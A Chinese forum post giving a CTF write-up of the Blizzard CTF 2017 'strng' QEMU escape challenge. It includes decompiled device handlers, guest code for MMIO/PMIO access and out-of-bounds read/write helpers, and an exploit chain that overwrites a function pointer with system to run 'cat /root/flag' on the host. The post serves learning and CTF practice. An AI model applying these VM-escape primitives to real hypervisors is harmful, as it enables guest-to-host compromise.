首页
社区
课程
招聘
qemu pwn Blizzard-CTF-2017-Strng
发表于: 2020-4-28 17:55 10907

qemu pwn Blizzard-CTF-2017-Strng

2020-4-28 17:55
10907

调试过程参考链接https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup
感谢raycp大神

题目源码的链接为Blizzard CTF 2017,是qemu逃逸题,flag文件在宿主机中的路径为/root/flag。
题目的下载路径为https://github.com/rcvalle/blizzardctf2017/releases,启动的命令如下,可以把它保存到launsh.sh中,用sudo ./launsh.sh启动。

命令参数说明

该虚拟机是一个Ubuntu Server 14.04 LTS,用户名是ubuntu,密码是passw0rd。因为它把22端口重定向到了宿主机的5555端口,所以可以使用ssh ubuntu@127.0.0.1 -p 5555登进去。

sudo ./launsh.sh启动虚拟机,使用用户名是ubuntu,密码是passw0rd进去虚拟机。

通过启动命令中的-device strng,我们在IDA中搜索strng相关函数,可以看到相应的函数。
图片描述

首先是设备的结构体STRNGState 的定义:
在local_type窗口找到了
图片描述
可以看到它里面存在一个regs数组,大小为256(64*4),后面跟三个函数指针。

pci_strng_register_types会注册由用户提供的TypeInfo,查看该函数并找到了它的TypeInfo,跟进去看到了strng_class_init以及strng_instance_init函数。
图片描述

然后先看strng_class_init函数,代码如下(将变量k的类型设置为PCIDeviceClass*):

可以看到class_init中设置其device_id为0x11e9,vendor_id为0x1234。对应到上面lspci得到的信息,可以知道设备为00:03.0,查看其详细信息:

可以看到有MMIO地址为0xfebf1000,大小为256;PMIO地址为0xc050,总共有8个端口。

然后查看resource文件:

resource0对应的是MMIO,而resource1对应的是PMIO。resource中数据格式是start-address end-address flags。

也可以查看/proc/ioports来查看各个设备对应的I/O端口,/proc/iomem查看其对应的I/O memory地址(需要用root帐号查看,否则看不到端口或地址):

/sys/devices其对应的设备下也有相应的信息,如deviceid和vendorid等:

然后去看pci_strng_realize,该函数注册了MMIO和PMIO空间,包括mmio的操作结构strng_mmio_ops及其大小256;pmio的操作结构体strng_pmio_ops及其大小8。注意将第一个参数类型改为STRNGState *。
图片描述
strng_mmio_ops中有访问mmio对应的strng_mmio_read以及strng_mmio_write;strng_pmio_ops中有访问pmio对应的strng_pmio_read以及strng_pmio_write,下面将详细分析这两部分,一般来说,设备的问题也容易出现在这两个部分。

图片描述

注意第一个参数类型改为STRNGState *,读入addr将其右移两位,作为regs的索引返回该寄存器的值。
图片描述

注意第一个参数类型改为STRNGState *。

当size等于4时,将addr右移两位得到寄存器的索引i,并提供4个功能:
当i为0时,调用srand函数但并不给赋值给内存。
当i为1时,调用rand得到随机数并赋值给regs[1]。
当i为3时,调用rand_r函数,并使用regs[2]的地址作为参数,并最后将返回值赋值给regs[3]。
其余则直接将传入的val值赋值给regs[i]。
看起来似乎是addr可以由我们控制,可以使用addr来越界读写regs数组。即如果传入的addr大于regs的边界,那么我们就可以写到后面的函数指针了。但是事实上是不可以的,前面已经知道了mmio空间大小为256,我们传入的addr是不能大于mmio的大小;因为pci设备内部会进行检查,而刚好regs的大小为256,所以我们无法通过mmio进行越界写。

实现对MMIO空间的访问,比较便捷的方式就是使用mmap函数将设备的resource0文件映射到内存中,再进行相应的读写即可实现MMIO的读写,典型代码如下:

图片描述
通过前面的分析我们知道strng有八个端口,端口起始地址为0xc050,相应的通过strng_pmio_read和strng_pmio_write去读写。

当端口地址为0时直接返回opaque->addr,否则将opaque->addr右移两位作为索引i,返回regs[i]的值,比较关注的是这个opaque->addr在哪里赋值,它在下面的strng_pmio_write中被赋值。

当size等于4时,以传入的端口地址为判断提供4个功能:
当端口地址为0时,直接将传入的val赋值给opaque->addr。
当端口地址不为0时,将opaque->addr右移两位得到索引i,分为三个功能:
i为0时,执行srand,返回值不存储。
i为1时,执行rand并将返回结果存储到regs[1]中。
i为3时,调用rand_r并将regs[2]作为第一个参数,返回值存储到regs[3]中。
否则直接将val存储到regs[idx]中。
可以看到PMIO与MMIO的区别在于索引regs数组时,PMIO并不是由直接传入的端口地址addr去索引的;而是由opaque->addr去索引,而opaque->addr的赋值是我们可控的(端口地址为0时,直接将传入的val赋值给opaque->addr)。因此regs数组的索引可以为任意值,即可以越界读写。
越界读则是首先通过strng_pmio_write去设置opaque->addr,然后再调用pmio_read去越界读。
越界写则是首先通过strng_pmio_write去设置opaque->addr,然后仍然通过pmio_write去越界写。

UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过IN以及 OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为<sys/io.h>,函数的具体用法可以使用man手册查看。
还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff之间的端口,使用ioperm(from, num, turn_on)即可;对于0x3ff以上的端口,则该调用执行iopl(3)函数去允许访问所有的端口(可使用man ioperm 和man iopl去查看函数)。
典型代码如下:

首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后再调用strng_pmio_read,就会去读regs[val>>2]的值,实现越界读,代码如下:

仍然是首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后调用strng_pmio_write,并设置addr为4,即会去将此次传入的val写入到regs[val>>2]中,实现越界写,代码如下:

使用strng_mmio_write将cat /root/flag写入到regs[2]开始的内存处,用于后续作为参数。
使用越界读漏洞,读取regs数组后面的srand地址,根据偏移计算出system地址。
使用越界写漏洞,覆盖regs数组后面的rand_r地址,将其覆盖为system地址。
最后使用strng_mmio_write触发执行opaque->rand_r(&opaque->regs[2])函数,从而实现system("cat /root/flag")的调用,拿到flag。

将完整流程描述了一遍以后,再说下怎么调试。
sudo ./launsh.sh将虚拟机跑起来以后,在本地将exp用命令make编译通过,makefile内容比较简单:

原来的exp存在以下问题,经过改造成功执行。

第二种exp

然后host使用命令
scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu
将exp拷贝到虚拟机中。
若要调试qemu以查看相应的流程,host机器可以使用
ps -ax|grep qemu
找到相应的进程;再
sudo gdb ./qemu-system-x86_64 -p pidof qemu-system-x86_64
上去,然后在里面下断点查看想观察的数据,示例如下:
发现经常会因为stop signal断下,所以加上
handle SIGSTOP nostop

断点如下:
b strng_pmio_write
b strng_pmio_read
b strng_mmio_write
b strng_pmio_read
然后在虚拟机中执行sudo ./exp执行exp,就可以愉快的调试了。

 
./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22
./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22
-device driver[,prop[=value][,...]]
                add device (based on driver)
                prop=value,... sets driver properties
                use '-device help' to print all possible drivers
                use '-device driver,help' to print all possible properties
-hda/-hdb file  use 'file' as IDE hard disk 0/1 image
-L path         set the directory for the BIOS, VGA BIOS and keymaps
 
-netdev user,id=str[,net=addr[/mask]][,host=addr][,restrict=on|off]
         [,hostname=host][,dhcpstart=addr][,dns=addr][,dnssearch=domain][,tftp=dir]
         [,bootfile=f][,hostfwd=rule][,guestfwd=rule][,smb=dir[,smbserver=addr]]
                configure a user mode network backend with ID 'str',
                its DHCP server and optional services
-device driver[,prop[=value][,...]]
                add device (based on driver)
                prop=value,... sets driver properties
                use '-device help' to print all possible drivers
                use '-device driver,help' to print all possible properties
-hda/-hdb file  use 'file' as IDE hard disk 0/1 image
-L path         set the directory for the BIOS, VGA BIOS and keymaps
 
-netdev user,id=str[,net=addr[/mask]][,host=addr][,restrict=on|off]
         [,hostname=host][,dhcpstart=addr][,dns=addr][,dnssearch=domain][,tftp=dir]
         [,bootfile=f][,hostfwd=rule][,guestfwd=rule][,smb=dir[,smbserver=addr]]
                configure a user mode network backend with ID 'str',
                its DHCP server and optional services
 
void __cdecl pci_strng_register_types()
{
  type_register_static(&strng_info_25910);
}
void __cdecl pci_strng_register_types()
{
  type_register_static(&strng_info_25910);
}
void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
  PCIDeviceClass *k; // rax
 
  k = (PCIDeviceClass *)object_class_dynamic_cast_assert( 获取子类对象
                          a1,
                          "pci-device",
                          "/home/rcvalle/qemu/hw/misc/strng.c",
                          154,
                          "strng_class_init");
  k->device_id = 0x11E9;
  k->revision = 0x10;
  k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
  k->class_id = 0xFF;
  k->vendor_id = 0x1234;
}
void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
  PCIDeviceClass *k; // rax
 
  k = (PCIDeviceClass *)object_class_dynamic_cast_assert( 获取子类对象
                          a1,
                          "pci-device",
                          "/home/rcvalle/qemu/hw/misc/strng.c",
                          154,
                          "strng_class_init");
  k->device_id = 0x11E9;
  k->revision = 0x10;
  k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
  k->class_id = 0xFF;
  k->vendor_id = 0x1234;
}
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) 要分析的设备!!!
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) 要分析的设备!!!
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        I/O ports at c050 [size=8]
ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        I/O ports at c050 [size=8]
root@ubuntu:~# cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
root@ubuntu:~# cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
ubuntu@ubuntu:~$ sudo cat /proc/iomem
...
  febf1000-febf10ff : 0000:00:03.0
...
ubuntu@ubuntu:~$ sudo cat /proc/ioports
...
  c050-c057 : 0000:00:03.0
ubuntu@ubuntu:~$ sudo cat /proc/iomem
...
  febf1000-febf10ff : 0000:00:03.0
...
ubuntu@ubuntu:~$ sudo cat /proc/ioports
...
  c050-c057 : 0000:00:03.0
ubuntu@ubuntu:~$ ls /sys/devices/pci0000\:00/0000\:00\:03.0
broken_parity_status      enable         power      subsystem_device
class                     firmware_node  remove     subsystem_vendor
config                    irq            rescan     uevent
consistent_dma_mask_bits  local_cpulist  resource   vendor
d3cold_allowed            local_cpus     resource0
device                    modalias       resource1
dma_mask_bits             msi_bus        subsystem
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/class
0x00ff00
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/vendor
0x1234
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device
0x11e9
ubuntu@ubuntu:~$ ls /sys/devices/pci0000\:00/0000\:00\:03.0
broken_parity_status      enable         power      subsystem_device
class                     firmware_node  remove     subsystem_vendor
config                    irq            rescan     uevent
consistent_dma_mask_bits  local_cpulist  resource   vendor
d3cold_allowed            local_cpus     resource0
device                    modalias       resource1
dma_mask_bits             msi_bus        subsystem
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/class
0x00ff00
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/vendor
0x1234
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device
0x11e9
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
  hwaddr i; // rsi
  uint32_t v5; // ST08_4
  uint32_t v6; // eax
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]
 
  v7 = __readfsqword(0x28u);
  if ( size == 4 && !(addr & 3) )
  {
    i = addr >> 2;
    if ( (_DWORD)i == 1 )
    {
      opaque->regs[1] = opaque->rand(opaque, i, val);
    }
    else if ( (unsigned int)i < 1 )
    {
      if ( __readfsqword(0x28u) == v7 )
        opaque->srand(val);
    }
    else
    {
      if ( (_DWORD)i == 3 )
      {
        v5 = val;
        v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
        //这个函数指针可以被改掉system,其中opaque->regs[2]存放参数cat /root/flag
        val = v5;
        opaque->regs[3] = v6;
      }
      opaque->regs[(unsigned int)i] = val;
    }
  }
}
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
  hwaddr i; // rsi
  uint32_t v5; // ST08_4
  uint32_t v6; // eax
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]
 
  v7 = __readfsqword(0x28u);
  if ( size == 4 && !(addr & 3) )
  {
    i = addr >> 2;
    if ( (_DWORD)i == 1 )
    {
      opaque->regs[1] = opaque->rand(opaque, i, val);
    }
    else if ( (unsigned int)i < 1 )
    {
      if ( __readfsqword(0x28u) == v7 )
        opaque->srand(val);
    }
    else
    {
      if ( (_DWORD)i == 3 )
      {
        v5 = val;
        v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
        //这个函数指针可以被改掉system,其中opaque->regs[2]存放参数cat /root/flag
        val = v5;
        opaque->regs[3] = v6;
      }
      opaque->regs[(unsigned int)i] = val;
    }
  }
}
unsigned char* mmio_mem;
 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
 
uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}
 
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
 
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}
unsigned char* mmio_mem;
 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
 
uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}
 
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
 
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}
uint32_t strng_mmio_read(uint64_t addr) {
    assert(!(addr&3));
    uint32_t val = readm32(strng_mmio_map+addr);
    return val;
}
 
void strng_mmio_write(uint64_t addr, uint32_t val) {
    assert(!(addr&3));
    writem32(strng_mmio_map+addr, val);
}
int main(int argc, char const* argv[]) {
    int devmem_fd;
 
    if (0 != iopl(3)) {
        die("iopl");
    }
 
    devmem_fd = open("/dev/mem", O_RDWR | O_SYNC);
    if (devmem_fd < 0) {
        die("open /dev/mem");
    }
 
    strng_mmio_map = (uint64_t)mmap((void *)0, STRNG_MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, STRNG_MMIO_BASE);
    if (!strng_mmio_map) {
        die("mmap mmio");
    }
    close(devmem_fd);
uint32_t strng_mmio_read(uint64_t addr) {
    assert(!(addr&3));
    uint32_t val = readm32(strng_mmio_map+addr);
    return val;
}
 
void strng_mmio_write(uint64_t addr, uint32_t val) {
    assert(!(addr&3));
    writem32(strng_mmio_map+addr, val);
}
int main(int argc, char const* argv[]) {
    int devmem_fd;
 
    if (0 != iopl(3)) {
        die("iopl");
    }
 
    devmem_fd = open("/dev/mem", O_RDWR | O_SYNC);
    if (devmem_fd < 0) {
        die("open /dev/mem");
    }
 
    strng_mmio_map = (uint64_t)mmap((void *)0, STRNG_MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, STRNG_MMIO_BASE);
    if (!strng_mmio_map) {
        die("mmap mmio");
    }
    close(devmem_fd);
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint32_t reg_addr; // edx
 
  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr; 索引来自opaque->addr
        if ( !(reg_addr & 3) )
          result = opaque->regs[reg_addr >> 2]; 这里可以越界读函数指针
      }
    }
    else
    {
      result = opaque->addr;
    }
  }
  return result;
}
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint32_t reg_addr; // edx
 
  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr; 索引来自opaque->addr
        if ( !(reg_addr & 3) )
          result = opaque->regs[reg_addr >> 2]; 这里可以越界读函数指针
      }
    }
    else
    {
      result = opaque->addr;
    }
  }
  return result;
}
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t reg_addr; // eax
  __int64 idx; // rax
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]
 
  v6 = __readfsqword(0x28u);
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr; 地址赋值
        if ( !(reg_addr & 3) )
        {
          idx = reg_addr >> 2;
          if ( (_DWORD)idx == 1 )
          {
            opaque->regs[1] = opaque->rand(opaque, 4LL, val);
          }
          else if ( (unsigned int)idx < 1 )
          {
            if ( __readfsqword(0x28u) == v6 )
              opaque->srand((unsigned int)val);
          }
          else if ( (_DWORD)idx == 3 )
          {
            opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
          }
          else
          {
            opaque->regs[idx] = val; 越界写函数指针
          }
        }
      }
    }
    else
    {
      opaque->addr = val; 如果addr=0,那么直接给opaque->addr赋值
    }
  }
}
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t reg_addr; // eax
  __int64 idx; // rax
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]
 
  v6 = __readfsqword(0x28u);
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr; 地址赋值
        if ( !(reg_addr & 3) )
        {
          idx = reg_addr >> 2;
          if ( (_DWORD)idx == 1 )
          {
            opaque->regs[1] = opaque->rand(opaque, 4LL, val);
          }
          else if ( (unsigned int)idx < 1 )
          {
            if ( __readfsqword(0x28u) == v6 )
              opaque->srand((unsigned int)val);
          }
          else if ( (_DWORD)idx == 3 )
          {
            opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
          }
          else
          {
            opaque->regs[idx] = val; 越界写函数指针
          }
        }
      }
    }
    else
    {
      opaque->addr = val; 如果addr=0,那么直接给opaque->addr赋值
    }
  }
}
uint32_t pmio_base=0xc050;
 
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}
 
uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}
 
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
        pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);
 
}
uint32_t pmio_base=0xc050;
 
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}
 
uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}
 
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
        pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);
 
}
uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}
uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}
void pmio_abwrite(uint32_t offset, uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}
void pmio_abwrite(uint32_t offset, uint32_t value)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-7-2 15:57 被nicaicaiwo编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (3)
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
mark,希望楼主能直接把内容贴到论坛里方便查看
2020-4-28 18:48
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
3
贴论坛太麻烦了
2020-4-28 19:07
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
4
nicaicaiwo 贴论坛太麻烦了[em_85]
看雪论坛编辑器很好用,支持MD和富文本,就像word一样,直接贴图,非常方便。建议下次还是帖论坛,会提升帖子被关注的概率。
2020-4-29 11:20
0
游客
登录 | 注册 方可回帖
返回
//